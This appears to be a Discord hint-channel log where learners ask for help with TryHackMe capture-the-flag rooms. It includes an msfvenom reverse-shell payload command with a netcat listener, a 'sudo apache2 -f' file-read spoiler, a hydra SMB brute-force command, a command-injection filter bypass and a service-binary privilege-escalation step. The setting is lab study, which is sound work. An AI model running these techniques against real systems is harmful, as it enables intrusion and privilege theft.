you just have to find out how...if you still can't am dropping this spoiler || sudo (path to apache2) -f filename||

[oak mulch]

thanks for nudging me in right direction, i will surely find out the answer by myself.

[green minnow]

Gave +1 Rep to @rigid smelt

[spare halo]

Hi, im doing the room for upload vulnerabilities. Currently stuck on task bypassing client side filtering. I did filter the request using burpsuite but nothing comes out when i press do intercept - response to this request - forward as instructed in the manual. What did i do wrong?

[willow maple]

Anything clearly wrong here?

[white salmon]

are you sure that "The" will only appear if the login fails ?

or passes... I'd look into the format too, although I might be leading you astray here. If you're sure about that bit, ignore me. I don't find anything else odd though

[orchid root]

I m doing CTF collection and stuck at challenge 12 any hints?

[orchid root]

Yes!

[orchid root]

.

[willow maple]

I ended up getting it 🙂

[urban swift]

need a little help w Network Services room task 4 question 4

im looking trhru the output for both nmap and enum4linux and i cant seem to find the answer , any help?

i logged in using the smbclient too and am looking at the files i think...

[tight fulcrum]

There's a file with the name in it

You'll need to use a command to download that file

So you can read it on your machine

[urban swift]

thank you

so do i use a command inside the smbclient?

[tight fulcrum]

yea

[urban swift]

ok so i downloaded the file using get now where did it download to? this seems like it should be easier for me to do... is it that im just unfamiliar w smbclient?

[tight fulcrum]

Yup. It will be in the directory where you started smbclient

[ashen scaffold]

Might be late but I have never been a fan of using hydra. Give zap a try :)

[willow maple]

Looking back, I could have done this one with just wpscan. But I need to use Zap more! thanks

[green minnow]

Gave +1 Rep to @ashen scaffold

[ashen scaffold]

wpscan is always an option with wordpress :). Glad you got it!

[graceful marsh]

can i get a hint on the owasp top 10 room

on task 16 im looking for the path to where the user's SSH key is located

[graceful marsh]

im probably really dumb on this one but i have no idea 😭

i got it :P you have to include a whole file path not just directory

[white salmon]

I am in the Wifi Hacking 101 room stuck on a couple of questions: Q1. What tool from the aircrack-ng suite is used to set the channel? Q2. And how do you tell it to capture packets to a file?

[dapper sentinel]

u need to do some research

like they said

We'll want to use aircrack-ng, airodump-ng and airmon-ng to attack WPA networks.

may be one of these?

[white salmon]

@dapper sentinel Got it! Thanks!👍

[dapper sentinel]

ok cool

[late junco]

Linux Fundamentals 3 - Task 4 - I am trying to understand one thing. I have initiated Python 3's "HTTPServer" module to start a web server in the home directory of the "tryhackme" on the deployed machine. After providing this command --> python3 -m http.server -- the terminal is not giving any prompt to write the next command. In this case should i start over with a new terminal not closing down my terminal where i have initiated the web server?

tryhackme@linux3:~$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

After the last line the next promt tryhackme@linux3:~$ is not coming

Should I have to open a new terminal to do the next set of activities, in that case can i close the previous terminal or i will have to keep it open since i have initiated a web server from it?

[tight fulcrum]

Your terminal where you started the http.server has to run. Just open a new terminal and wget the file.

[late junco]

okay, so do i need to again ssh from the new terminal to the deployed machine and then wget

[tight fulcrum]

No you don't need it

Your python server is already running. You just have to download the file from the target ip

[late junco]

okayy. Thanks a lot

[green minnow]

Gave +1 Rep to @tight fulcrum

[late junco]

I need some more help. One thing which I am still not getting is the second terminal which I have opened is showing username@machinename as root@ip-of my attack box and not the deployed machine as in the case of the previous terminal where the prompt was tryhackme@linux3:~$. And the question is asking me to ensure that I am connected to the deployed instance

[tight fulcrum]

That's the information of the attackbox not the deployed machine ( your target). You don't need to ssh into the target to download files if you started a HTTP server there.

[gloomy rampart]

OK can someone tell me why the steel mountain task 4 exploit without metasploit is not working? I have downloaded nc started python webserver on port 81 as 80 is already in use on the attackbox and changed the python script. I see it connecting to the webserver but it does not start the nc.exe

[brave vale]

Have you left Netcat in the Attackbox listening? also remember that the target machine has Windows as operating system, you need to download Netcat for Windows in the AttackBox (here you can find a copy https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe), and remember to rename the file to nc.exe.

[gloomy rampart]

There was a link in the task but will check that thanks

[brave vale]

And read the description in the script, you need to run it two or three times to receive the connection in the AttackBox.

[gloomy rampart]

Yes ran it 10+ times

Thanks all will give it another try

[brave vale]

Check the listening port you have configured in the script, if it matches the one you have left listening to Netcat in the AttackBox. Remember that the script tries to connect to port 80 of your AttackBox to download Netcat, you need to modify a part of the value of a variable to connect in your case to port 81 (I don't remember the name of the variable, I think it was vbs).

[gloomy rampart]

I see the get comming one line was changed to add the port 81

[white salmon]

Hello all I´m new here...

[dreamy pilot]

I was doing the network services room, on task 3 last question we are requested to perfom a

enum4linux -A {ip_address}

We have a huge information page with mainly *unknown**unknown*
The question is what share sticks out as something we might want to investigate?
I have no idea, i have tried a bit but i am unsure what "share" mean, any hints ?

[white salmon]

@dreamy pilot - Are you able to take a screenshot please? I might be able to point you in the right direction.

[dreamy pilot]

screenshot might be hard since it would take 10 screenie to copy the whole command 😅
The occurrence of "share" would be on the following screen
I managed to found the answer through multiple tries but i don't understand so it does not feel like accomplished.

[vital crown]

"share" is a folder on a system that is made available over a network to other systems.

[dreamy pilot]

share is a conventional name to accessible folder over network or is it only for in this room?

[glacial gust]

these should be SMB1 folders

[vital crown]

A conventional name for it. Didn't the room explain it? Can't remember the room too well

[dreamy pilot]

There is no mention of name convention. They kinda explain about share drive i just didn't though they would be name Sharename in the scan, thank you for the hint

[vital crown]

No problems

[white salmon]

in the room M4tr1x: Exit Denied question :What is the admin's ACP pin? I did find a ACP pin but is not accepting as a correct answer.... can you help me?

[barren harbor]

I successfully logged in as admin in the owasp juice shop room (https://tryhackme.com/room/owaspjuiceshop), got the flag, used the button to copy it, and the page is telling me my answer is wrong, what gives?

[barren harbor]

nvm i was putting it into the wrong field

[agile widget]

i'm stupid, it's just @reboot

why would they make it seem like it's restricted to m, h, dom, mon, and dow when you can put things like @reboot

[past canopy]

www.tryhackme.com/jr/missiononebytinas challenge unlocks the 30th

[rustic laurel]

hi everyone i doing top 10 OWASP room but in task 5 i cannot understoood the question what user is using this app? please help me anyone

[spice shard]

That question means: what user you are? Are you any specific user like root or not.

[gloomy rampart]

Hi any idea why i cannot connect to a nc listener on attackbox from a room server?

when I do this from metasploit it works fine so I connected that way and checked from the console why it does not run

Even when just typing nc.exe attack ip and port it does not arrive at the attackbox

ping does

OK powershell oneliner does not work neither

So IP must be wrong or something is blocking on the attachbox

ok there must be something blocking i stopped the webserver and used that port for netcat listener and ran it manually using the meterpreter shell

No suc6

[wintry oyster]

Hi, can I check on the Room OWASP Juice Shop, Task 4, Question 1 : Brute force the Administrator account password.

does anyone know how long the Burp Intruder Brute force going to take?

[outer quail]

Any helps for nahamstore?

Not finding any writeups which can help...

[dapper sentinel]

task question number?

[outer quail]

1

task 3 q 1

[outer quail]

I am not getting what to do...

[dapper sentinel]

well have u done his course?

[outer quail]

No

[outer quail]

I haven't

But i have done different courses covering web stuff

Something got deleted?

[tough rapids]

wait

[outer quail]

@dapper sentinel ?

[tough rapids]

why is the link getting

deleted

?

[outer quail]

2 Crazy man?

[outer quail]

Idk maybe

You can just type it without https

Maybe i will get it

[tough rapids]

yeah thats my alt

[outer quail]

Ooo

[tough rapids]

its just a write up

[outer quail]

I see

Its getting removed

IDK why

[tough rapids]

ok let it be

[outer quail]

Hmm

[tough rapids]

may be we cant share here

[outer quail]

What do we have to do?

I have found some subdomains

[tough rapids]

ah

[outer quail]

But what next

One shows forbidden and another redirects

@tough rapids ?

[tough rapids]

oh i`m not sure what to do at this point

[outer quail]

I see

[tough rapids]

wait

no

[outer quail]

That writeup just shows answers

[tough rapids]

like have u curled the page?

[outer quail]

No

[tough rapids]

there is a walkthrough options

[outer quail]

Means?

[outer quail]

There is one option

But see, it doesn't teach anything

[tough rapids]

there u can find how did he got the flag

[tough rapids]

teach?

[outer quail]

Kind of

Its just telling how it was found

But how to find that subdomain?

@tough rapids

nahamstore-2020-dev.nahamstore.thm is that subdomain

But i dont get that thing using sublis3r

[tough rapids]

thats the trick ./

how to find things

haha

idk much about this let me see

[outer quail]

Thats what i am not able to get

[outer quail]

Ok

I got the subdomain nahamstore-2020.nahamstore.thm but i dont get nahamstore-2020-dev.nahamstore.thm

@tough rapids

[tough rapids]

u need to fuzzz ig

ok tell me what u have done with commands

for subdomain hunting

[outer quail]

sublist3r -d nahamstore.com

Thats it

[tough rapids]

.com ?

[outer quail]

Read the instructions

You have to do subdomain hunt on .com

But attack .thm

@tough rapids

[tough rapids]

[outer quail]

Hmm

See

[tough rapids]

let me spin the machine

and check

[outer quail]

Sure

Hmm

[tough rapids]

for me it says virus total is blocking u

[outer quail]

Yes

Continue

On the .com domain @tough rapids

It will scan even if its blocking

[tough rapids]

ok cool i used .thm

😫

[outer quail]

Ooo

@tough rapids

[tough rapids]

yeah

[outer quail]

Any progress

[tough rapids]

it just shows www.nahamstore.com F

[outer quail]

How!

Whats the command?

Exact?

[tough rapids]

yea

[outer quail]

Run This:

sublist3r -d nahamstore.com

You might have done www.nahamstore.com

Dont add www

[tough rapids]

no i mean i have .py
python3 sublist3r.py -d nahamstore.com

[outer quail]

Have you ran the install script?

[tough rapids]

yep

i have done everything

[outer quail]

Then just sublist3r

Should work

Try

@tough rapids

[tough rapids]

no its now like i did followed the steps in the sublist3r room

[outer quail]

Try just sublist3r

Try once

Whats the output tell me?

[tough rapids]

second time

i got these

[outer quail]

Cool

Good enough

I also got these

[tough rapids]

let me run

again

[outer quail]

But that subdomain in the walkthrough is different

OK

[tough rapids]

well as he said ||After getting RCE, you can see more subdomains in the file /etc/hosts. The interesting subdomain is: nahamstore-2020-dev.nahamstore.thm|| i guess we cant get it or may be he choose the easiest way lets try

[outer quail]

I see

[tough rapids]

is this what u getting when tryining to visit the site

nahamstore-2020.nahamstore.com

[outer quail]

@tough rapids Dude seriously

You have to go to .thm

Not .com

[tough rapids]

wait

what

[outer quail]

Add this to /etc/hosts and go to .thm

[tough rapids]

i fell dump

[outer quail]

:/

[tough rapids]

no

i mean

i went to that but i got this

[outer quail]

I see

[outer quail]

you are on .com

[tough rapids]

ok

forbinned

[outer quail]

Hmm.

I know

Thats what i said

[tough rapids]

haha seriously at this point i can do nothing move on to the next task
some one will see tis question and pick it up

[outer quail]

Yaa

Next task is also difficult

[tough rapids]

i havent read those god damn setup things

[outer quail]

I mean, i got 2-3 XSS

[tough rapids]

[outer quail]

But none of them is correct

[tough rapids]

wdum

[outer quail]

Means?

[outer quail]

I mean see. Wait

But none of these shows correct

[tough rapids]

AT this point as i am weak in web-app side, only thing i can suggest u is to do his course or ask someone who has done this like Fire Dragon

[outer quail]

Ok

Lemme see

See stored also works

[tough rapids]

no, i mean do the question that are asked there

ok bye i have to learn about some windows stuff hope someone will pick ur question

[outer quail]

Ok. Bye

🙂

[opal vine]

hello guys

i'm doing the XSS room -> https://tryhackme.com/room/xss and there's a task to change the site title using java script and i was able to achieve that using (document.title) but i wasn't able to get the flag
is there anything wrong that i'm doing?

[deft robin]

You're not supposed to change the page title, but the specific "XSS Playground" (or whatever) that is on the actual page

[faint kayak]

Not that I can help much, but if you show what you've done in the terminal it'll help people help you 🙂

[stuck fractal]

Please don't ask the same question over multiple channels

[light tundra]

removed, thank you

[green minnow]

Gave +1 Rep to @stuck fractal

[faint kayak]

Could someone please guide me on Network Services task 4? I'm not sure where I'm going wrong. When I try to run the bash file it won't allow me, so I'm guessing it has something to do with the permissions I set, but I'm not entirely sure what's missing

[stuck fractal]

capital S means it's SUID but not executable

[faint kayak]

Right. I'll dig in that direction. Thanks, James.

[green minnow]

Gave +1 Rep to @stuck fractal

[grizzled scroll]

could someone pls give me a hint on 2 questions on OhSINT?

or maybe more like answer some of my questions

[stuck fractal]

Just ask

[grizzled scroll]

Oh sorry, I am used to the policy of using DMs

[ripe hedge]

what's the question?

[grizzled scroll]

I already got it answered, thanks

[ripe hedge]

ok

[white salmon]

Year of the Jellyfish

ı need user flag hint ?

can anybody help me with year of the jellyfish

?

hi

[ripe hedge]

where are you stuck?

[white salmon]

user flag

[ripe hedge]

what have you tried?

[white salmon]

ı enumrate machine but ı dinnt find anything

pico cms

githu acount

[ripe hedge]

enumerate harder then, it's made to contain a lot of rabbit holes

[white salmon]

😄

subdomein 😕

[ripe hedge]

the tls cert might help

[white salmon]

thx

for hint

Sysmon room, task 10, last question (What C2 is the adversary utilizing in Investigation 4?)

any hints?

[white salmon]

I already find domein

[ripe hedge]

nmap usually spots those, btw

[white salmon]

help me senpai

[white salmon]

?

[ripe hedge]

you got the other questions, right?

[white salmon]

yeaah all of em

[ripe hedge]

one of them may help

[white salmon]

wow tyyy

[ripe hedge]

also there are probably logs lying around

[white salmon]

sorry ı am so stupid

find vuln

thx

for help

[ripe hedge]

it's a room on enumeration

[white salmon]

ahh its hard

[orchid root]

Hey! Doing wgel room! I haven't got anything just got a name ||Jessie|| any hint?? Didn't got anything interesting in Sitemap

Any hint??

still trying and waiting for a hint

[ripe hedge]

have you noticed that sitemap was a directory?

[orchid root]

Yes! Did a gobuster scan there too

I saw that Apache was outdated

[ripe hedge]

which wordlist?

[orchid root]

Dirbuster/2.3 medium list

[ripe hedge]

try another one

[orchid root]

There are only 2 medium and small

[ripe hedge]

there's more than just those 2 🙂

I assume you have seclists installed?

[orchid root]

Nope

[ripe hedge]

you probably should 🙂

[orchid root]

Let get that

[ripe hedge]

there's tons of wordlists in there

but you're on the right track

[orchid root]

Downloaded the big list

Let me do with that

Ugghhhhh

FFakkKk that sooo stupid of me

I should have tried this one earlier

[ripe hedge]

I like to use common first, then big, then try the 2.3-medium lists

[orchid root]

I didn't used the common!

[ripe hedge]

Its a smaller list so it goes fast

[orchid root]

Hmm! Will keep this in mind from now!

[ripe hedge]

Gets the easy stuff though

[orchid root]

Umm! Cant I get root used in wgel machine?? I got the root flag! I tried cracking password from shadow file its been 20min but haven't got the password for Jessie

[ripe hedge]

don't bother with his password

you can get root easily enough though

think about what jessie can do

[orchid root]

Umm she can! Use
/bin/usr/wget

[orchid root]

Umm! I got the root flag! But I want to own it! I mean become the root user

[ripe hedge]

ah

[orchid root]

Is there any way I can achieve that?

[ripe hedge]

yeah, basically the same way you got the flag 🙂

though you can probably tamper with something else

[orchid root]

Yeah! I got it!

[ripe hedge]

🙂

grats

[vapid jay]

hey.. all I'm trying to run brainpan chatserver.exe on my windows 10 vm to practice BOF, but I keep getting "this app is not compatible"

I've tried both 64 and 32 windows 10 vms

I was successful using the THM servers, but I wanted to practice with my local vms

[stuck fractal]

Download it in binary mode from FTP

[outer quail]

Can anyone give hints on NahamStore?

Walkthroughs are just giving away flags....

No walkthroughs that can help...

[brave vale]

That room is the "lab" for the Udemy course "Intro to Bug Bounty Hunting and Web Application Hacking". If you don't know one of the vulnerabilities you have to exploit in the room, you can search for information on the Internet about that vulnerability or practice in other TryHackMe rooms and then try that room again.

[outer quail]

I see

[severe wave]

Did anyone complete Theseus room?

[mild eagle]

Hi running thourgh Fusion Corp. on a new kali 2021.2 install anyone seen this erro berfor with hydra ?

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-23 06:58:44
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking smb://IP:445/
[ERROR] invalid reply from target smb://IP:445/

smbclient can connect just fine no problem.

[vital crown]

What command are you using?

[mild eagle]

Hydra -L User.txt -P password.txt ip smb

[mild eagle]

Can be it is just my hydra install in kali 2021.2

[vital crown]

Maybe try it from one of the attack boxes using the same syntax. That would help narrow down if it is the new install

[mild eagle]

Great idea why didn't think of that 🙂

[mild eagle]

same on attack box will try something else.. 🙂

[lost cypress]

Hello! I'm currently working my way through Network Services 2 and on Exploiting NFS there is a section that asks to download a bash executable and upload it to the share. How can I get the executable to the attack box if they have no internet access?

[stuck fractal]

I thought that room was subscriber only?
You're going to want to have your own Kali or something there, ideally.

[lost cypress]

Yea I subscribed but I'm still using the attack box. Thanks for the info 👍

[stuck fractal]

Subscriber attackbox has internet access

[lost cypress]

Ah cool! 😅 thanks for the help!

[green minnow]

Gave +1 Rep to @stuck fractal

[hybrid pond]

Hello all,
I'm on the "Network Services" module, In the task 7 "Exploiting Telnet".
I try to have a reverse shell with the openVPN method.
I connect me to the target machine with:
$ telnet [ip] [port]
In another terminal I use tcpdump like that:
$ sudo tcpdump ip [ip] -i tun0
It's works great here, I receive a message on the tcpdump terminal when I write a texte on the telnet terminal.
I create the reverse shell with msfvenom like that:
$ msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
I receive a reverse shell command.
I listen on the port 4444 like that:
$ nc -lvp 4444
And I copy the msfvenom payload in the netcat terminal but I have not a reverse shell for get the flag, do you have an idea of my problem ?
Thank's in advance.

[stuck fractal]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[stuck fractal]

Follow those steps, please post screenshots

$ sudo tcpdump ip [ip] -i tun0 That's not correctly filtering the traffic

You're given a command in the room, why change it?

[hybrid pond]

Because I don't know why it's don't work, sorry I have use the good command in first:

$ sudo tcpdump ip proto \\icmp -i tun0

[stuck fractal]

You're missing the .RUN

[hybrid pond]

inside the telnet terminal ?

[stuck fractal]

Yes

[hybrid pond]

It's don't works

[stuck fractal]

You probably crashed the telnet server

Terminate and redeploy.

[hybrid pond]

It's the same, the command
.RUN ping [ip] -c 1
don't works

[left wren]

Go to your machines website (http://10.10.239.162) - What is the flag text shown on the machines webpage?

this can't be load what can i do?

[stuck fractal]

Check your VPN

[potent hazel]

Hey everyone. I am working on the Pickle Rick room. I have managed to login to the command page. I am working on executing commands and it appears as though there is a server side filter. I can't figure out how to get around it and I am hoping I can get some hints. How do I identify what type of bypass I need or what methods I can use?

[potent hazel]

Nevermind... I think I figured it out by using|| command injection||. Can someone explain to me why this would work? In this case... ||c'a't||

[ripe hedge]

What's up?

[severe wave]

hey, how are you?

[ripe hedge]

You asked if anyone completed Theseus, yes

[severe wave]

thanks, I completed it just a some time ago

[ripe hedge]

Ok gotcha

[severe wave]

was a bit stuck on the last flag

[ripe hedge]

Ah yeah that was a mean one

[severe wave]

yeah, a friend came with a interesting suggestion

was an interesting room

[ripe hedge]

Its a fun room

I managed to find an unintended path

[severe wave]

oh?

you can dm me if you want to share?

[hidden hearth]

I'm working on the Steel Mountain room and I'm getting stuck under the Privilege Escalation section. Specifically with replacing the binary I uploaded (Advance.exe) with the binary on the system. Maybe I'm running the commands wrong. From meterpreter I load powershell then powershell_shell and try running the Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path C:\Program Files (x86)\IObit\Advanced SystemCare\Advanced.exe command, but the shell just hangs. I'm probably missing something pretty obvious, but I can't seem to figure it out. Any hints?

[loud kite]

I didnt use Write-ServiceBinary, i just used Copy-Item to replace the .exe it was already running. However, it was already in use so i had to stop it first

[hidden hearth]

ahhh

so I tried that first but didn't even think about stopping it!

that seems logical

[loud kite]

Hope that wasnt too much of a hint. I was stuck on that for a bit too yesterday 😛

[hidden hearth]

nah, that's great, thanks for the help!

[dim glen]

Hi, can someone give me a hint for Splunk2, Task 5, Question 2 please? I've looked through and even sorted the results into a table and skimmed through them but can't see anything that resembles the answer. Happy to give my query via DM but didn't want to post it in case it spoils it for someone else.

[white salmon]

in the room M4tr1x: Exit Denied question :What is the admin's ACP pin? I did find a ACP pin but is not accepting as a correct answer.... can you help me?

[orchid root]

Hey! Doing TEAM room did all the possible things haven't got anything any hint??

[hexed kindle]

Hello folks. I'm doing the Rick and Morty CTF, the last room in Web Hacking Fundamentals.

Aaand I'm lost. Like what is the initial vector? I found the username, but that's it. Fuzzed the server with gobuster with two different dir lists. Would appreciate an initial hint 🙂

[hidden hearth]

did you only search for directories with gobuster?

[hexed kindle]

Yeah. Are you saying I should search for files too?

[hidden hearth]

suggesting 🙂

[hexed kindle]

Thanks 🙂

[green minnow]

Gave +1 Rep to @hidden hearth

[icy sun]

Hey people,
anyone have a hint for the room ustoun? I want to enumerate users with kerbrute but can't go further with it.

I put DC.ustoun.local and ustoun.local0 in /etc/hosts. Is that the right way at first?

[quick turret]

I'm also having trouble with Attacktive Directory Task 7, I can't get the secretdump.py working

[icy sun]

did you set execution permissions?

else, look if you have impacket already preinstalled and try impacket-secretdump

[quick turret]

thanks DonTerroto I will give it a go

Attacktive Directory is the hardest lab I've come across so far

[icy sun]

yes, thats the easy way. But I remember your problem. I think there you have something with "pip install ...." look at their github

[icy sun]

I did it yesterday. It was my first experience with windows active directory. It was fun

[quick turret]

Cool I'm glad you enjoyed it

[icy sun]

it was hard at first. My couldn't got the kerbrute command at first. Then I didn't managed to crack the hash with hashcat either I tried the same command a day later and boom it worked, lol

To your problem: When you gitcloned impacket, go into the folder and do "python3 -m pip install"

[quick turret]

Thanks for that I will give it a go

Yes Kerbrute was a challenge, I couldn't get any sleep, until in the morning I got it working

[white salmon]

Hello guys. NOT looking for a hint or advice just a sanity check. is this room up to date and functional?
https://tryhackme.com/room/teamcw

its meant to be easier than easy boxes yet im struggling to gain any kind of initial info/foothold and I ve breezed through (supposedly) much harder boxes already

just need a confirmation its me being a goon and not the room being broken/misconfigured

[unborn canopy]

room: Cooctus Stories
status: Completed the lateral privesc. Currently doing the vertical privesc to root. I've found a directory /opt/CooctFS
what I know: sudo permissions to umount:

User varg may run the following commands on cchq:
    (root) NOPASSWD: /bin/umount

QUESTION: Why does sudo umount /opt/CooctFS work?
Here's the directory before umount

varg@cchq:/opt/CooctFS$ ls
bin  boot  etc  games  lib  run  tmp  var

Here's the directory after umount:

varg@cchq:/opt/CooctFS$ ls
root

Why? What happened here? I understand the basic use of umount but I dont know what happened here.

please tag me when replying :)

[mystic flume]

@unborn canopy I will try to explain my understanding of it and I hope it is correct and helpful!

You are allowed to run UMOUNT with sudo and do not have to supply a password. Because a directory was mounted in that location, you were not able to see a root folder. UMOUNT per sé does not make you root but it does let you unmount the directory and then the root folder appears

[unborn canopy]

so did it hide the root folder in effect?

[mystic flume]

I believe so yes, there can be only one drive/directory in that location at any time so it became hidden when it was mounted

[brave vale]

Also (I don't know if it applies in this case) you can use the bind flag of the mount command to access the original contents of the directory without the need to unmount. If you are interested you can read about it at https://linux.die.net/man/8/mount (under The bind mounts).

[unborn canopy]

thanks for the input!

[green minnow]

Gave +1 Rep to @mystic flume

[unborn canopy]

ill check it out, thanks 😄

[mystic flume]

You're welcome!

[prime lichen]

Hello! I might be late. Anyway, I just solved madeyescastle and I loved it!

[unborn canopy]

may i mention you both @mystic flume and @brave vale in my writeup 🙂 ?

[mystic flume]

Sure I don't mind :) thanks for asking

[green minnow]

Gave +1 Rep to @unborn canopy

[novel forge]

Hi

Am new here

[stuck fractal]

This channel is for hints with TryHackMe rooms

[white salmon]

Im on the NMAP room on the Complete beginner path, says

There is a reason given for this -- what is it?

Note: The answer will be in your scan results. Think carefully about which switches to use -- and read the hint before asking for help!
just want a small hint the answer

[stuck fractal]

I see it in there

Did you read the hint in the room?

[white salmon]

oh so i did the command right?

i was doubting myself if i did the scan correctly

[white salmon]

thank youuu, self doubt was my enemy today

[green minnow]

Gave +1 Rep to @stuck fractal

[white salmon]

i have no money so i feel guilty completing this cause the wireshark room can only be accessed by subscribers

[novel forge]

Verify

[light tundra]

Network Services 2: Enumerating MySQL: ||After running the getting the version returned, I set SQL option to "show databases." When I send command "use SQL," it returns what looks to be 198 items, and not the single-digit number the answer needs. ||

||also does the RHOSTS option need to be the path to the exploit or the IP of the active machine?||

[ripe hedge]

RHOSTS is usually an IP

well, or set of IPs, but for practical purposes here an IP

[tender crescent]

Network Services:
on the "how many ports are open" question, this is what I did:

1. Started the attackbox
2. started another machine (target machine)
3. on the attackbox terminal: nmap -A 10.10.90.164

Output is the below screenshot.

It states ports closed and ports filtered, but not ports open

[stuck fractal]

Task number?

[tender crescent]

Task 3

[tender crescent]

Task 3. "Conduct an nmap scan of your choosing, How many ports are open?"

I know the answer is 3 but idk why

i cant see it anywhere in the above screenshot

[stuck fractal]

You're getting filtered ports. Filtered ports is bad, often.

Scan again in a minute or two.

[tender crescent]

okay

Now it's showing 997 ports closed, none filtered or opened

[stuck fractal]

Those are the three states

[stuck fractal]

Read again

Also do the nmap room please, it'll help you greatly

[tender crescent]

okay

[brave vale]

Sure (: thank you for asking.

[green minnow]

Gave +1 Rep to @unborn canopy

[waxen path]

hey guys, can someone give me a hint for room daily bugle ?

[orchid root]

Umm! I m doing mr robot room! I got the username and password but I m trying to get the webshell using metasploit but it is showing the website isn't Using wordpress

Any hint what I m doing wrong?

[unborn canopy]

maybe try manually?

[orchid root]

I did It manually

But I want to try by using metasploit

[unborn canopy]

oh

have you checked this out?
https://github.com/rapid7/metasploit-framework/issues/10190

[light tundra]

thank you

[green minnow]

Gave +1 Rep to @ripe hedge

[zinc tinsel]

Hi, I'm struggling on the Investigating Windows 3.x room, Q6 : Decode the payload. What service will the payload attempt start?
Can someone give me a hint please on this ? (I've tried Cyberchef to decode it with magic recipe, but I'm not sure it's efficient) Thanks !

Edit : found by myself... Just had to decode it with one simple way

[orchid root]

Yes I tried this thing! Didn't worked idk I m providing with all the correct details but still

[brave vale]

Which exploit module are you using?

[orchid root]

WordPress admin shell uploaded

[brave vale]

Can you share an screenshot showing the options you are using when running the module?

[onyx dagger]

On HackPark using Hydra as recommended it returns 16 successful passwords, although none of them actually work. The username is for sure correct based on the hint. Am I missing something obvious here?

[onyx dagger]

Just checked a video and im doing the exact thing as them and getting completely different results. Going to try terminating the VM and try once more before moving this over to tech-support

[stuck fractal]

It shouldn't be in #site-support because it's not a site or VPN issue

[onyx dagger]

Ah okay, well I decided I would just try it again another day anyway.

[lunar crow]

Vulnversity : Task 2 : How can i get the squid proxy version?
Vulnveristy: Task 2 : How can i get the Port, which the web server is running on?

[stuck fractal]

The answer to both of those questions is nmap

I recommend completing the Nmap room

[lunar crow]

I´m in this room

but i can´t find out, how to get these

[hearty widget]

If you research how to use nmap (There are some options included in the vulnversity room OR complete the nmap room) you should be able to understand and answer these. @lunar crow

[lunar crow]

ok

Thanks for the fast help